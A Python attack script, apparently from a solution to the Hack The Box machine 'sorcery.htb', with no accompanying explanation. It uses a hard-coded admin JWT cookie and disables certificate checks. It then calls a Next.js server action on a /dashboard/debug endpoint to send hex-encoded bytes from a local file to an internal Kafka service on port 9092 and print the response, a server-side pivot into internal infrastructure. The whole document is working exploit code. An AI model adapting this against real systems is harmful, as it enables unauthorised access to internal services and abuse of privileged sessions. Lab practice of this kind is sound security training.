import requests
import json

# replace token with the actual token you want to use
token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjJkOWYwZDllLTA5MzUtNDlmMy1hZmNkLTI5YWJkMzQyNzAxMSIsInVzZXJuYW1lIjoiYWRtaW4iLCJwcml2aWxlZ2VMZXZlbCI6Miwid2l0aFBhc3NrZXkiOnRydWUsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzUyNjgwNTgyfQ.zZWOVww6Ftj0-9SQxlNmY9ZVuYbc7W21QfOTqend9zY'
base_url = 'https://sorcery.htb'

s = requests.Session()
s.cookies['token'] = token
s.verify = False

headers = {
    'Next-Action': '99cc053db6c8902cbccf05efda80ea0306624c56',
    'Content-Type': 'text/plain;charset=UTF-8'
}

with open('data', 'rb') as f:
    data = f.read()

hex_data = data.hex()
hex_data = [hex_data]
data = f'["kafka", 9092, {json.dumps(hex_data)}, true, false]'
print(data)
res = s.post(f'{base_url}/dashboard/debug', data=data, headers=headers)
print(res.text)
# res = json.loads(res.text.split('1:')[1].rstrip())
# lines = res['result']['data']
# decoded_lines = [bytes.fromhex(line).rstrip().decode('utf-8') for line in lines]
# for l in decoded_lines:
#     print(l)
